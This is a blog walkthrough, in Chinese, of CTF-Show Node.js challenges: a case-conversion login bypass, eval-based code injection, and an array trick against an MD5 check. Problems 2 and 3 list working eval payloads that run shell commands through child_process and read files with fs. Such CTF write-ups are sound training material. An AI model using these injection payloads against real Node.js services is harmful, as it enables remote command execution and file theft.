CTF-Show-Nodejs系列
CTF-Show-Nodejs系列
Problem 1
下载该压缩文件,进行解压缩。
注:需要修改一下扩展名
得到两个js文件,进行分析。
//login.js
var express = require('express');
var router = express.Router();
//获取用户
var users = require('../modules/user').items;
//寻找用户
var findUser = function(name, password){
return users.find(function(item){
//迭代用户,当传入的值name不等于CTFSHOW且传入的用户名的大写等于用户名,密码等于密码
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
//user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
看到了用户名和密码,尝试登录,发现登录失败了。
分析一下js代码。
迭代用户,当传入的值name不等于CTFSHOW且传入的用户名的大写等于数组中用户的用户名,密码等于数组中用户的密码。
要想使得满足上述条件,我们需要传入用户名为:ctfshow,密码为123456,即可登录成功!
获得flag
Problem 2
前置知识
在Nodejs中,eval函数可以计算字符串,并且执行其中的javascript代码,和php中eval函数一样,那么如果说没有经过过滤,并且里面的参数可控的时候,就能够产生很严重的漏洞,包括命令执行。
上面的内容来自于:https://blog.csdn.net/lastwinn/article/details/128901129
与eval函数有关的代码执行的payload:
?eval=require('child_process').execSync('ls').toString();
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output;
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');
//文件操作
?eval=require('fs').readdirSync('.');
?eval=require('fs').readFileSync('fl001g.txt')
上面的内容来自于:https://blog.csdn.net/qq_33814823/article/details/130867306
思路
查看网页源码,根据提示,需要使用eval函数。
根据上述payload,尝试执行ls命令
得到了一系列文件,尝试打开fl00g.txt文件,得到flag
Problem 3
思路
根据提示,仍然使用eval函数
使用上一题的payload,发现被嘲讽了
尝试使用spawnSync函数执行ls命令,发现没有过滤
获取flag
Problem 4
思路
查看源码:
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
//md5加密的函数
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
//为get传参,参数为a和b
var a = req.query.a;
var b = req.query.b;
//要求a和b不能为空,a的长度等于b的长度,a不能等于b,且a+flag的md5值要等于b+flag的md5值
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
我们可以使用数组绕过。
传参为:
http://3e17a3f9-a636-457f-b624-4c095b81fc2a.challenge.ctf.show/?a[0]=1&b[0]=1
传参规则:
最终得到flag
总结
Nodejs的绕过手段
- 源码审计,过滤不严谨,可以绕过
- 数组绕过
- Nodejs-RCE(eval)
- 原型链污染(待更新)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现